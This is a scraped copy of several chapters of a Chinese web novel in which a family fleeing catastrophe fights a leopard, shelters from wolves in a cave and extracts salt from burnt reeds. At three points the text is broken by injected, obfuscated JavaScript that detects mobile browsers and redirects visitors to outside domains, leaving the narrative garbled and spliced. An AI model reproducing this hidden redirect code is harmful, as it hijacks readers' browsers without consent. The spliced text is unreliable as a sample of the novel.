;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14555211|155419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关子了,快说,看到了啥?” “看到了好几具尸体!” 尸体? 此刻的凉风又开始吹,拂过每个人的脸颊,发梢,今夜的风,似乎有些凉。 附近不就是几具尸体吗? 男人们稍微胆子大些,倒是没觉得什么,可女人们胆子小,刚才还没想什么呢,此刻一联想到附近的尸体,汗毛都竖了起来。 董繁枝年纪最小,想到不远处尸体的惨状,直接被吓哭,就近躲到了许慧的怀里。 许慧横眉怒目瞪了丈夫一眼:“大晚上的,说这些事干啥。” “我,我这不是想说咱们昨日运气好吗?若是昨日没有摔到山洞里,恐怕咱们也很难逃过。” 这话音一落,空气又开始了死一般的寂静,许久之后,董承志忽然道:“咱们要不明日帮忙把他们埋了吧,也好过让他们曝尸荒野,让野兽叼去。” 其实这个想法,白日时他就有了,只是那时候没吃东西,根本没力气挖坑。想到这些人死的这么不体面,他就想到自己,若是他们有一日出了意外,希望也能有人把他给埋了。 想着想着,他就想到了家乡的人和事,也不知道那边花溪村的人如何了。 他抬头望月,发现月亮也渐渐地变圆了。 “嗯,爹说的不错,顺手的事情,咱们明日就帮忙挖坑给埋了。”董伯年十分认可父亲的话,人的尸体被抛在野外,一方面是不体面。另一方面,也容易吓到人,招来野兽。 想到不远处就有几具尸体,董伯年就道:“咱们今日去那山洞里休息吧,要安全些,这些尸体散发血腥味,也不知道会不会招来野兽。” “哎,咱们这被褥都被抢光了,夜里在这外面睡觉确实会凉许多,山洞里倒是好些。”许慧对此十分认可。 想到山洞里的床铺,许慧喃喃道:“也不知那床上的被褥能不能用?” 岑嫣听着这话,一边轻抚董繁枝的后背,一边道:“我瞧着那山洞里的灰尘积了许多,想必那里面的东西放了不少时日,咱们若是贸然拿来用,许是会身上起疹子。” 她这话倒不是危言耸听,她从前就见过医馆里有一个浑身长满红色疹子的小男孩。据说是他娘亲舍不得钱买被褥,发现家里有一床放了许多年,还有些发霉的被褥,他娘就直接拿去晒了给孩子用,没想到当日就起疹子。 他娘直接烧了一大锅开水,让孩子趁着开水刚出锅就跳进装满开水的盆里泡,皮肤被烫的通红,疹子却没有消,变得更严重了。 所以小男孩的娘亲才把孩子送到医馆医治,最后被医馆的大夫好一顿骂。 “人又不是猪,拿开水直接烫?” 那小男孩的娘有些不服:“开水怎么了,当初我十多岁额头生痘时,就是用开水烫的脸,现在我脸不是好好的吗?” “你看看你脸上的皮肤坑坑洼洼,还好呢?!”大夫也有些生气,又道:“你到底要不要给孩子治?” 提到额头的痘印,小男孩的娘此刻变得有些心虚,也知道自己治不了孩子,同大夫说了好些软化,那大夫才气呼呼地开了药,最后又嘱咐以后不能再用开水烫云云。 想到这件事,岑嫣就忍不住觉得有些好笑。 妇人愚昧,小男孩年幼无知,那开水烫皮肤只会让皮肤麻木,并不会好,只是自己在骗自己罢了。 忽的,岑嫣闻到空气中传来一阵阵的香味,她循着香味望去,发现董伯年正在用小刀割下一块野猪肉,之后又把金灿灿的野猪翻了个面,整个野猪正在滋滋冒油,诱人极了。 董伯年发现妻子正在看他,他把野猪肉递给岑嫣,道:“尝尝看,熟了没?” 24. 第 24 章 岑嫣接过烤猪肉,随后又撕下一小块给坐在她旁边的董繁枝。 董繁枝此时的眼眶微红,乖巧地接过散发出香味的烤猪肉,细细品尝起来。烤猪肉是纯正的烤猪肉,因着调料之类的东西都被拿走了,连调味的盐都不曾留下。 “熟了,这肉真香!” 其实野猪肉上面带着一些腥膻之气,但他们本来就饿了一日,也顾不得那许多,再加上这可是肉,吃起来竟比往日里更香上几分。 岑嫣此时也微微勾唇,对着董伯年点头:“确实熟了,好吃。” 看到两人吃的开心,董伯年也跟着笑:“行,那我给你们分肉!” 能用的陶瓷碗被打碎了好几个,现下的碗根本就不够用,董伯年只好用叠起来的葛根把烤猪肉分装成七份,猪肉的汁水渗在叶片上,让人恨不得把葛根叶子上诱人的油汁给一起吞了。 几人吃着烤肉,许慧那边煮着的蘑菇鸡汤已经好了,用勺子搅动,鲜香的蘑菇混着鸡肉,哪怕只是远远地闻着那味道,都觉着极好。 每人端着一碗飘着黄色油星子的鸡汤,里面混着有软烂的山鸡肉,哪怕是平时在家也没这待遇。 许慧感慨:“咱们今日虽被抢了粮米,但这鸡肉鸡汤也是不可多得的,大家快喝。” 话音刚落,董仲清就被烫到:“哎哟!” 看着他嘴巴微红,大口大口地往外呼气,哪能猜不到他咋了? 众人哈哈大笑。 “你娘叫你快喝,你还真不怕烫,直接大口喝啊?”董承志无奈笑了,随后端起碗慢悠悠地吹了一会儿,小口小口地喝起汤来,他这举动也算变相地给董仲清做示范。 许慧也跟着嗔怪道:“你这孩子,咋那么急?大口喝汤,哪能不烫?小口小口地喝!” 董仲清有些委屈,刚才娘让他快点喝,现在说的又不一样,心里闷闷的,吃个东西真不容易。不过,这汤虽然烫,但这味道却极好,里面加了鸡肉、菌菇和海带,那味道可真是鲜美啊。要不是这味道香,他刚才怎么会因为吃的太急而不小心烫到自己? 若是今日有米饭,他一定要连干三大碗才行,可惜了这么好的菜,却没有鲜美的米饭作配,他在心中微微叹息。以后要是能再吃米饭,他一定要吃多多的补回来。 岑嫣捧着汤,缓慢地喝着,又用筷子挑出海带放入嘴里,很香,只是没有盐,所以总感觉缺点味道,不过,能吃上这些东西已经很好了。 她想着之前的计划,如今改道到这条偏僻的道上,恐怕还要走七日才能到达州城,而且那州城也不知情况如何,能不能进去采购些东西,这些都未可知。 接下来的几日恐怕不会太平,她们这一行队伍中只有三个男子,只有公公和夫君是壮年男人,也不知能不能应对接下来的事情,越想这事,她眉头拧的更紧。到了最后,竟连面前的肉和汤都有些食不知味,若不是她腹部一直在咕咕抗议,她才勉强将食物塞进嘴里。 担忧未来之事的人不止岑嫣,其他人其实也在忧心此事。 吃过东西之后,众人的肚子被填的溜圆,也分出了心思来商议此事。 董伯年道:“按照原来的行进路线,咱们还要走好几日,可咱们现在情况与从前不一样,粮食物品全没了,而赶路需要体力,需要粮食。我提议,咱们先在附近找找吃的,攒几日吃食?” 他能打猎,若是能多打些猎物,弄成方便食用的肉干,再配上路上采摘的野菜,接下来几日的吃食倒是不必太过于发愁。 不料,岑嫣却不同意,她道:“咱们慢慢往前走,饿了就挖些野菜。若是运气好,许是能遇到村庄,若是能碰碰运气......” 两个提议都不错,众人有些纠结。 董繁枝在一旁听的认真,道:“若是咱们再遇到昨夜的坏人可怎么办?” 空气顿时安静下来,只听得几人沉重的呼吸声。 若是在以往,董繁枝这话必定会遭到许慧的训斥,还会说她乌鸦嘴。 可今时不同往日,逃难路上,容不得一点差错。 许久之后,岑嫣试探道:“咱们夜里赶路吧?许是能安全些。” “夜里赶路倒是一个好主意,若是被人发现,咱们躲起来也方便些。”董承志顿了顿,又扭头看了董伯年一眼,“咱们还是先跟着伯年去山上打猎,攒一两日的肉作为粮食,再往前赶路吧。” 许慧此时却看向不远处的蜷缩在地上的牛,若是,若是他们...可那些东西也不好拿,牛还是留着更有用。 “嗷,嗷,嗷。” 小黄狗似乎是发现了什么,哼唧哼唧地对着某处,草丛叫,众人虽然不知道附近有什么,但凭借犬类的敏锐,这附近恐怕来了什么东西。 果然,那草丛里就开始有了动静,忽的,就出现了一双幽绿的眼睛盯着几人,许久不曾动作。 众人不知道那东西是什么,也不敢轻举妄动,只悄悄地寻找附近趁手的东西,准备到时候那玩意儿冲过来,他们也能反击一下。 过了一会儿,那玩意儿好像觉得没意思,往后隐退,直接冲着另外一个方向跑远了。 “那方向...” “是那几具尸体!” 众人现下已经是冷汗淋漓,身子紧绷。 那野兽或许是闻到了他们这里烤肉的香味,又或者是闻到那几具尸体的血腥味,又或者是山上那些尸体吸引了野兽过来......他们这里已经不安全了。 “也不知这附近到底有多少野兽在暗处,那些人昨夜就出事了,恐怕有不少野兽被吸引过来。咱们,去哪山上那个洞里躲躲吧。” 想到那个山洞下面的密道,众人点头。那里确实能抵御野兽,比这里更安全。 众人急忙收拾好地上的东西,又收拾没吃完的两只山鸡和葛根,直接拿着火把往山上去。 岑嫣一边手提着葛根,另一边手拿着棍子,警惕地看着周围。林子里安静的出奇,往常还会有一些鸟儿的鸣叫声,今日似乎都失去了踪迹。 “小心些,都跟紧点!”董伯年跟在最后面,一手提着火把,一手提着短刀,随时呈现战斗的姿态。 董承志则打头阵,一手拿着火把,一手拿着削尖的木棍。原本他想拿着柴刀,却被岑嫣拦了。 野兽若是近身,脆弱的人类拿着什么东西都没有用,还不如拿着长棍实惠。既能吓退远处的敌人,还有机会伤到对方。 董仲清则跟在他老爹后面拿着火把,把牛往山上赶。 如今只剩下这一头牛,刚才已经能看到野兽的存在了。若是把牛留在山下,恐怕明日过来,就是一具牛骨架了。 若是运气不好,恐怕连骨头也看不到。 他自然得赶着牛上山,夜里没有多少光,加上牛,走的速度就慢了许多。 山上的那个山洞离山下不算太远,但也不算太近,几人缓慢地前进。 忽的就听到旁边有一些奇怪的动静,几人保持警惕,不断地看着周围。 蓦然,有一道身影爆掠而至,直接往董伯年身上扑去。 那道身影快如闪电,众人有些猝不及防,待到反应过来之时,董伯年已经与那野兽扭打在一起。 看着黄黑相间的斑点,董仲清惊道:“是豹子!” “豹子!快帮忙!” 女人们让到一边,董承志和董仲清则上去帮忙。 那豹子原本是想偷袭落单的人,看着董伯年落在最后,它想着扑过去直接咬死应当会更容易些。没想到这人身手这么好,它隐隐感觉不敌对方,正想逃跑,就察觉有人从后面靠近,直接堵住它逃跑的方向。它想要往另一边跑,没想到直接就被董伯年一刀插到脖子上,血流不止,没过多久就断了气。 “大郎,好样的!”董承志若不是现在手不方便,必定就竖起大拇指了。 “咱们快些去山洞躲着,这附近的尸体恐怕不少,我看这路上恐怕还有其他的野兽等着呢,大家都小心些。” 众人连连点头,而董伯年直接扛起那头死豹子,绑到牛身上,众人才继续赶路。 在接下来的路上,他们却不知道为何,明明听到附近的草丛里有动静,却什么都没看到,直到进了山洞,也没有任何野兽出现。 岑嫣猜测,许是之前董伯年同豹子缠斗时,那些野兽也在附近观望,发现他们不好惹,所以才不敢轻易冲上来。 不得不说,她的确猜对了。 但是,那些野兽也不是完全不敢上,只是他们躲在暗处跟着,想等众人休息之时再伺机而动。 进了山洞,董承志把牛赶到一个角落,而死豹子则被卸到地上。 董伯年则站在山洞口往外观望了一会儿,和董仲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555212|155419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清在附近捡了一些柴火,之后又不断从山洞里搬运石头到山洞口堵着。 “大哥,你把山洞口堵住了,我们待会儿去哪里如厕啊?”董仲清说着话,还往外望了一眼。 “就你屎尿多!”许慧直接冲过来给了他一脚。 挨了一脚的董仲清也不敢再言语,只讷讷闭嘴。 “还不快去帮你兄长搬东西把山洞堵住!” “哎。” 众人听到这里的动静,都跑过来帮忙,山洞口很快就被堵住了,只留下一个小口。 山洞里生起火堆,火焰不断往上飞旋狂舞,炽热而明亮,照耀着周围的几人。 “咱们还是快些离开这里吧!”刚才的景象已经让董伯年改变了想法,这里恐怕不太安全,他们已经被附近的野兽盯上了,若是再待在这里,说不定哪日有人落单,就直接被野兽拖走。 而且,这附近死的人恐怕也不止他们看到的这些,野兽只会越来越多。 “哎,嫣娘原本说要走,我还觉得不该呢,如今这情形,确实应该早日离开,明日天一亮,咱们就直接出发!” 董承志很清楚,现在没有粮食,直接往前走,再不济可以吃野菜充饥。但若是留在此处,那就是等着被野兽生吞活剥了。 “只是,底下那些金银,咱们该如何处理?”许慧最挂心的还是下面的金银财宝,她几辈子都不曾见过这么多财富,就这么舍弃了,她可舍不得。 “咱们带上一部分吧,只拿着够用就行,多了容易暴露,到时候恐怕也会成为咱们的催命符。”对于此时,岑嫣倒是看得很开,从前她家里也是小有家资,经历过战乱,她才知晓,人命才是最重要的。 能安然活着才是福气,在能活着的基础上有一些资财,那才是人生最大的幸事。 董伯年微微点头,他的娘子,的确目光高远,聪慧。他不由地盯着妻子柔美的侧脸,在光照的映射下,妻子的脸棱角分明,鹅蛋脸,高鼻梁......真好看。 “可惜了。” 吴文兰也跟着叹了口气,若是那些金子能带回家,她可以叫家里人给她打制洞族特有的饰品,打造一个绝美的金花冠。 从前隔壁家就给他们闺女准备银花冠作为嫁妆,村里的小姑娘们都羡慕极了,若是她能有一顶金花冠,那一定是村里最令人羡慕的对象。 倏地,董仲清凑到吴文兰身边道:“可惜什么,咱们能活着就已经很不错了,那些金银玉器,你也不看看有多沉?” “要你说!”吴文兰作势要打,董仲清直接逃开。 她见对方逃开了,也不追,抱着腿到旁边坐着。她想,董仲清说的也有道理,那她就带一块能打金锁的金子回去也好,打制一个金项圈,又或者是金锁金镯子之类的物件都行。 岑嫣看着众人说着金银玉器怎么搬运,带哪些的话,不由得觉得有些困,竟直接昏昏沉沉地睡过去了。 等到她再次醒来时,山洞外似乎有什么奇怪的声音,隐约是嗷呜嗷呜的叫声。 “狼吗?”她喃喃道,睡意也瞬间消失。 就在这时,董伯年伸手搂过她道:“的确是狼,只是咱们把山洞堵住了,他们进不来。现在还早呢,你快睡,明日要赶路呢,保存精力,好好休息。” 岑嫣这时候才注意,董伯年原来一直在观察外面的情况。 “你不睡吗?” 她有些担心,夫君这样照顾大家,如此警惕,恐怕不是一朝一夕养成的习惯,必定是从小就这样。她不由想到自己冲喜的原因,以及夫君的经历,的确,作为家中长子,还能自己赚钱考取秀才,夫君怎么看都不一般。 若是自己家没有出事,恐怕也遇不上夫君这么有本事的男子。 她不由地盯着对方的眉眼打量,或许是脑子里想着事情,又或许是对方的眉眼确实有一种坚毅的美感。 “我也是被外面的吵声惊醒的,跟你一起醒来的。”董伯年也笑着看向对方,笑得眉眼弯弯。 两人深情对视,岑嫣惊觉两人现下的姿势有些暧昧,忙起身去柴堆旁边找柴,随后加入火堆。 山洞外还是朦朦胧胧的暗黑色,狼还在嚎叫,许慧和董承志睡眠浅一些,听到外面的动静也跟着醒了。 岑嫣把刚才董伯年的说辞也跟他们解释一遍,几人这才继续靠着墙壁缓缓睡过去 25. 第25章 读书就是有用 晋江文学城首发,请支持正版。 晨间的薄雾还未消散,鸟儿在林间发出清脆的鸣叫,白雾朦胧地笼罩着前方的道路,跟人间仙境似的。 此时的众人就已经踏上了路途。 因着昨日董承志已经在下午时分把其中一个牛车修好了,众人带起行李来,也方便了许多。 再加上昨日打的豹子,他们这两人恐怕不必忧心食物的问题了。 对于那些金银玉器的问题,岑嫣和董伯年只拿了一个小布袋装上一些,又让每人身上带上一块小金锭子。 只是,在挑选金银玉器的时候,岑嫣无意中发现一本奇怪的书籍,那书籍之上仿佛记载着这个密室主人有关的游记和生平,其中竟然有造纸术,她虽不知道真假,本着试试看的原则,她也顺手带在身上。 走在路上之时,原本那片山丘上还躺着的几具尸体已经不见了,但依稀可窥见拖行的血迹。众人猜测,那估计是昨夜那些野兽所为。 “唉,才不过一夜,那几具尸体已经没了。”董承志昨日还说要把那些尸体埋了,没想到才一夜,那些尸体就被野兽给拖走。 “咱们都自顾不暇了,你还管别人呢?这世道啊,人命如草芥。”许慧叹了口气,自家的下一站都不知道要通向何方呢。 远处似乎有几只不知名的野兽,正隐在草丛之后拖行尸体,地上的血已经干涸,只留下一丝印记。 若是来一场大雨,恐怕这些痕迹都会全部消散。 “嗷呜,呼哧,呼哧。” “咯吱,咯吱。” 路旁咀嚼骨肉的声音很大,听得人心里忍不住胆战,血液也似乎被凝固一般。 这场面,恐怕也跟之前自己看到的场景差不离了,这些日子,岑嫣夜里睡的并不安宁。 近段时日路上的见闻,跟当初她与阿爹阿娘遇到的情形何其相似,她每日夜里都会梦到爹娘...还有路途上的那些人。 “大家都警醒些,咱们这路上恐怕都不太平。”董伯年左右巡视了一遍,随后提醒众人。 “嗯。” 其实路旁的那些野兽都吃的肚子圆滚滚的,甚至走路都有些颤颤巍巍的。它们已经许久都没吃这么饱了,看到路过的几人,它们警惕地注视,眼珠子一动不动。 哪怕是这样,众人还是不敢放松警惕,这路上也不知道死了多少人,周围的野兽,恐怕都会过来分一杯羹。 若是有的野兽一个爆起,直接冲上来,其他野兽会不会跟着群起而攻之?他们人手可不多,到时候恐怕不敌。 董仲清此刻真恨不得长出一双翅膀,直接从这里飞出去,他恨恨地拿出葛根出来啃,活似那块白嫩的葛根跟他有仇似的。 今日早晨他们出发的早,根本就来不及做早饭,只有昨日已经煮好的葛根拿来充饥。 葛根果然就跟吴文兰说的那般,分成小块煮好之后,拿来直接嚼,一股子米面的清香味道从口腔中爆开,和着口中的津液,面面的葛根粉格外香甜些。这感觉,像是在小口地吃水润的面粉,但那味道却比纯正的面粉要好得多。 若不是现在情形不对,众人必定要对着葛根大肆夸奖。 他们走了许久,路上都是三三两两的尸体,隔一段路就有几具尸体,他们也从最初的恐惧,变得愈发麻木。 见到一具尸体,怕的是鬼。见到多具尸体,怕的就是人了。 也就只有人才能杀人,一大片一大片地杀人,鬼只是能吓人罢了。 头顶上的太阳逐渐爬上正上方,此时的众人已经饿的饥肠辘辘,脚也走的麻木。 许是路上看到那些危险的东西太多,今日赶路的速度竟然远超往日的速度。 “这里有一条河,咱们就在这里休息一会儿吧?”董伯年望着不远处的河道。 “哎。” 众人紧绷着的神经终于能放松,他们今日赶路格外累,此刻听说能休息,恨不得就地直接躺下来。 他们先把牛身上的东西卸下来,董承志再把牛牵到河边河水,董伯年则和岑嫣许慧一起处理昨夜被杀的那只豹子。 吴文兰和董仲清则在附近拿着棍子巡视周围情况,顺便捡些柴生火,随时准备着应对周围的突发情况并且通知大家。 董伯年从前打猎经验丰富,处理起豹子来,自然也不在话下。很快,那只豹子的皮就被董伯年麻利地剥下来了。 “呀,这皮子剥的真好,很完整。” 岑嫣忍不住夸赞,她从前见过一些阔气的富商,就喜欢拿豹子皮来做坐垫,一般品相的豹子皮,恐怕能卖到一到二两银子。 这豹子若不是昨夜打斗伤到了皮,按照董伯年的剥皮技术,恐怕能卖到四五两银子。 许慧闻言,勾了勾唇角,道:“大郎的手艺确实不错,出去他最开始时,剥的不大好以外,之后剥皮的技术就愈发好了。” 豹子皮剥好了,可惜这处却没有能够处理的工具,要是能处理好豹子皮,再拿去卖,那价格也会高很多。 董仲清和吴文兰此刻已经生起了火,董伯年和岑嫣直接拿着锅里的豹子肉去河里清洗,清洗完毕之后,两人抬着豹子到董承志和董仲清搭建好的烤架上。 “这豹子肉腥,拿来烤着吃,腥味会淡一些。” 就连那两只剩下的山鸡也顺便拿来烤了,他们这次烤好两三日的量,接下来的几日也能更好地赶路。 只是那豹子的体量有些大,他们这个中午恐怕要烤很久,但这也是没办法的事情。若是夜里烤肉传出香味,恐怕更容易吸引野兽过来,他们现下可没有山洞来抵御野兽的进攻。 烤了约莫半个时辰,豹子肉才烤好,众人分食豹子肉,虽然觉得有些味道冲,肉质很柴,难以下咽,但也不得不吃。 他们现在可不是挑挑拣拣的时候,况且他们肚子也在不断地抗议,他们得快些吃东西才好。 等到吃好之后,众人又将剩下的野兽匆忙地收拾好,用旁边采摘的葛根叶子和茅草包好,烤肉的香味瞬间就被牢牢地锁在叶片内部。 这些事情都做好之后,他们又踏上了路途,下午的太阳其实格外的热,众人身上都冒出了许多的汗水。 岑嫣拿出水囊,喝了一口水,试图降下烈日带来的温度。她感觉自己此刻就是一具木偶,不断机械地重复着一样的动作,望不到头。 可为了活着,她必须忍受这些,必须要走下去,哪怕很难受。 她隐约能感觉到,自己的脚上好似生了一个水泡,又辣,又疼,又闷,十分难受。 牛车上小黄此刻似乎看出了她痛苦的模样,定定地盯着她看,眼神满是担忧,随后哼唧起来。 董繁枝此刻也坐在牛车上,她以为是自己压到小黄了,忙侧身左右检查起来。发现并没有压到小黄,这才放下心来。 “小黄,你怎么了?饿了吗?” 说着,董繁枝拿出自己刚才没有吃完的肉递给小黄,小黄却没有张口,只盯着岑嫣看。 岑嫣这时才察觉到小黄的目光,她唇色有些苍白,忙对着小黄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555213|155419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“小黄乖,我没事。” 众人这时候也注意到岑嫣的模样,觉得她可能是中暑了,又停下牛车,让她去车上休息。 她起初不肯上车,到底是觉得自己身体确实不太舒服,也拗不过众人,这才上了牛车休息。 就这样,众人连着走了三日,食物都耗光了,这才停下来休整。 不知为何,这附近却没有什么尸体,便也没有什么野兽在附近游走,这也说明这附近安全许多。 只是,因着好几日没有吃盐,众人身体多多少少出现了一些问题,只觉得四肢乏力,食欲也弱了不少。 “咱们得快弄些盐,要不然这样下去,真的会出事的。” 岑盐和董伯年到底是读过书的,知道他们这些不适的症状都是因为没有食盐引起的。 “盐,哪里有盐,总得遇到人家,或者进入附近的集市上才有吧!唉,我此时已经感觉头昏脑涨,没力气了。” 众人这些日子赶路,本来身体就十分疲乏,再加上每日流了许多汗水,盐分流失更快了,若是再没有盐,不定明后几日就一起倒在路上了。 “我感觉我再也走不动了,真的走不了了。”董仲清现在只想躺在地上,哪怕是等待死亡,他也不想再动了。 这些日子缺衣少食的,身子也难受,他从未吃过这样的苦。 董伯年张了张嘴,到底没能说出什么话,之后又开始抿紧唇。 他其实也不知道该如何,他只知道他这一世带着家人躲开了那场屠杀,却不知道遇到现下的困境该如何做。 他昏昏沉沉地看向不远处的一个大水潭,水潭旁边的绿色芦苇层层叠叠,随着微风摇曳。 他想,再如何也得先吃东西才好,他去那边看看有没有鱼,说不定能抓两条回来充饥。 才走两步,他又折返回来,把董承志和董仲清叫走。 原本董仲清是不愿意动弹的,哪知道董伯年一脚踹到他腿上,比他这几日赶路的疼痛还要剧烈,他瞬间觉得浑身有劲,也不难受了。 董仲清:不过是屈服在兄长的淫威之下罢了,哼! 岑嫣此刻眼冒金星,她不断地想,是否有什么法子能造出盐来? 她从前好像在书上看到过,似乎可以通过某些手段把盐造出来,是什么呢? 忽的,她不知为何,直接联想到密室里那本书中的造纸术。既然之前的那本书上有造纸术这般稀奇的东西,或许上面也记载一些跟造盐有关的法子也说不定。 本着死马当作活马医的原则,她立马掏出了书本,开始看了起来。 吴文兰都有些惊呆了,现在都这般情形了,嫣娘竟然还有精力和心情看书,她此刻不知道是该哭还是该笑。 读书人的脑回路果然跟别人不一样,难不成书里还能有饼不成? 若是嫣娘听到她心里的想法,一定会说:“‘书中自有黄金屋,书中自由颜如玉。’书里的确有饼,教人画饼充饥,画一个就能饱。” 翻阅了一会儿,岑嫣蓦然眼前一亮:“芦苇盐!盐!” 她突然笑起来,小黄见状,也围着她手舞足蹈,蹦蹦跳跳,主仆两人看起来很开心。 一直盯着岑嫣看的吴文兰眼睛微微眯起,她拉了一旁的董繁枝,示意对方看岑嫣。 “你嫂嫂是不是读书读傻了,怎么还笑?” 董繁枝虽然不知道嫂嫂为何如此,但她还是摇头:“我嫂嫂才不傻呢,她最聪明了!” 嫂嫂对她好,她可不能说嫂嫂坏话。 26. 第 26 章 天上的云朵在快速飘荡,风依旧吹着,天也还是那么蓝,远处有几只鸟飞过。 水潭旁边的芦苇在不断地飘荡,郁郁葱葱的绿色芦苇,呈现出一派生机勃勃的景象。若是眼尖些,就会发现那芦苇已经被割下一大片。 草地上生着火,而岑嫣则把嫩绿的芦苇直接放到火上去烧,这生芦苇烧起来,烟雾格外大些,呛得人口鼻难受。 “嫣娘,你烧这芦苇,真的能做出盐吗?” 许慧说完话,又忍不住咳了两声。 “我记得从前看过一些游记,他们就是用草木提取的。如今山洞内发现的这本书里记载了详细的提取方法,我猜测,应该可以提取出盐。” 其实,岑嫣也不敢百分之百肯定,但是现在众人的身体情况很难支撑着再走下去。即使勉强赶路,往常耗费一日的路程,恐怕要耗费两日甚至更多的时间。还不如停下来想法子让大家先养好精神,之后赶路也能更快些。 听着岑嫣的话,其他人点了点头,也不再多问什么,到附近寻找能充饥的野果野菜。 这几日的运气并不似之前运气那般好,每日只能找到一些野菜和海带煮菜汤喝,再配上前几日保存下来的豹子肉,倒也能勉强吃个半饱。 只是这般没有米粮的日子实在难过,每日都十分煎熬,根本就不能吃饱,再加上盐分丧失过快,他们此时已经是强弩之末。 若是前几日采摘野菜,吴文兰或许还会挑挑拣拣,太老太小的野菜不要。现在的她,只要看到能吃的,通通都摘进篮子里。 此时的芦苇火堆已经燃起了熊熊大火,烟也没有刚才那般浓烈,只是这火堆旁边的温度却变得越来越高。 白日的日头本来就很大,岑嫣虽然把火堆生在树荫处,却还是觉得很热,身上一直冒着热汗,她一边加芦苇,一边擦额头上的汗。 她除去加芦苇的时间,其余时间都往后面躲,试图躲开那热乎乎的温度。 就在这时,董伯年一行人回来了,他们手上还用草提着好几条大肥鱼。 岑嫣面上一喜,忙迎上前去。 等把鱼接到手上才问:“呀,这是草鱼?” “嗯,咱们运气不错,那潭里竟然真的有鱼,这个头挺大,今日咱们倒是能吃个饱了。” “真好!”岑嫣笑着点头,像夏日里盛开的花朵般耀眼。 董伯年注意到自家媳妇才养出来的肉,似乎又消减了下去。 “这鱼要不要剖开?正好我烧着火,放在火堆旁边烤着正好。” 董伯年想了想,道:“还是别剖开了,只把苦胆收拾出来,其他部分都能吃。” 说完话,他也不等岑嫣回答,直接用刀在草鱼的腹部剖开一个小口,把褐绿色的苦胆挑出来丢到一边。 是了,他们现在的情形,哪里还有那么多讲究?能吃到东西就不错了,平日里不怎么稀罕的某些鱼内脏,此刻也是极为珍惜的果腹之物,怎么能拿来浪费? 岑嫣想到这些,忍不住摇头,又点头。 董承志也淡然道:“之前咱们村,有人连苦胆都吃,听说这苦胆还是一味药,没什么不能吃的。” 就这样,众人在中午时分就吃上了烤鱼,把肚子吃的饱饱的。 只是,那草鱼比其他鱼的土腥味更重些,他们打的嗝都是一股子鱼腥味,被这腥味冲到自己的那一刻,难受极了。 吃饱喝足之后,岑嫣就开始指挥着众人把芦苇灰烬筛选出来,随后捣碎,放入锅中,再往锅里加水,泡一会之后过滤,得到灰碱水。 这时候的天已经暗了下来,众人又生起了柴火堆,将得到的灰碱水放在火上烤,等到水分完全蒸发,就能得到最终的成品——芦苇盐。 看着灰褐色的芦苇盐,众人眼中俱是不可置信:“这就是盐?” “倒是比咱们在集市上买的盐要差许多,怪不得盐由官府管控,卖的贵呢。” 这个时代的盐也有高低优劣之分,品质越好的盐越白,品质越差的盐杂质越多,看起来就会很灰黄。 “我尝尝。”说着,许慧直接伸手捻了一点芦苇盐放入口中砸吧起来。 “怎么样?”众人一脸期待地看向许慧,试图从她的面部表情判断这盐到底如何。 许慧眼睛一亮,抬起嘴角:“这确实有咸味,只是没集市上买的盐味浓。” 说完话,她欣喜地拍了拍岑嫣的肩膀:“还是咱们儿媳妇干的漂亮,竟然连盐都能造出来。” 岑嫣见这盐竟然做成功了,心中也是一喜,忍不住勾唇笑了起来,笑的眉眼弯弯:“哪里是我,都是书里记载的东西有用,我不过是按照这书中写的东西做出来而已。” “书?”吴文兰回想起之前岑嫣看书的模样,还以为对方是因为饿傻了,所以才盯着书看,没想到是另有隐情。 心中也不免感慨,读书人的事情啊,她还是不要乱评价为妙。 “嗯,是书,这书是在那山洞里发现的,我觉得有意思,便顺手拿了。” 她心中不免对那山洞密室的主人心生好奇,到底是怎么样的妙人才能写出这般的书?还有那么多的金银,那人为何会留在那里? 董承志也忍不住夸:“还得是读书好,要不咱们还不知道如何做盐呢,这几日没能吃上盐,我浑身都不得劲。” “嫣娘,那书是怎么样的?”吴文兰直接跑到岑嫣身边坐下,“我也想瞧瞧。” 岑嫣也不吝啬,直接把书递给她,末了,还不忘嘱咐道:“你可得小心些,离火堆远些。” “哎~” “这书你们等会儿看,我看这鱼已经熟了,先吃东西再说。正好这盐制出来了,直接撒到鱼皮上去,味道应该更好。”说着,董伯年就给大家分起烤鱼来。 其实这烤鱼的外部很香,鱼表面被烤成黄褐色,内部的油脂已经被烤出来,滋滋滋地散发出一股子糊香味,其实不加盐也很好吃,但他们需要补充盐分。 当然,鱼的内部还是略微带着腥味的。 经过这一日的休息,再加上补充了盐分,众人似乎感觉身体好很多,只是有些疲累,若休息到明日,许是能把精神养回来。 就这样,第二日众人再次醒来时,果然感觉身体舒服许多,也没有昨日的疲乏和无力感。 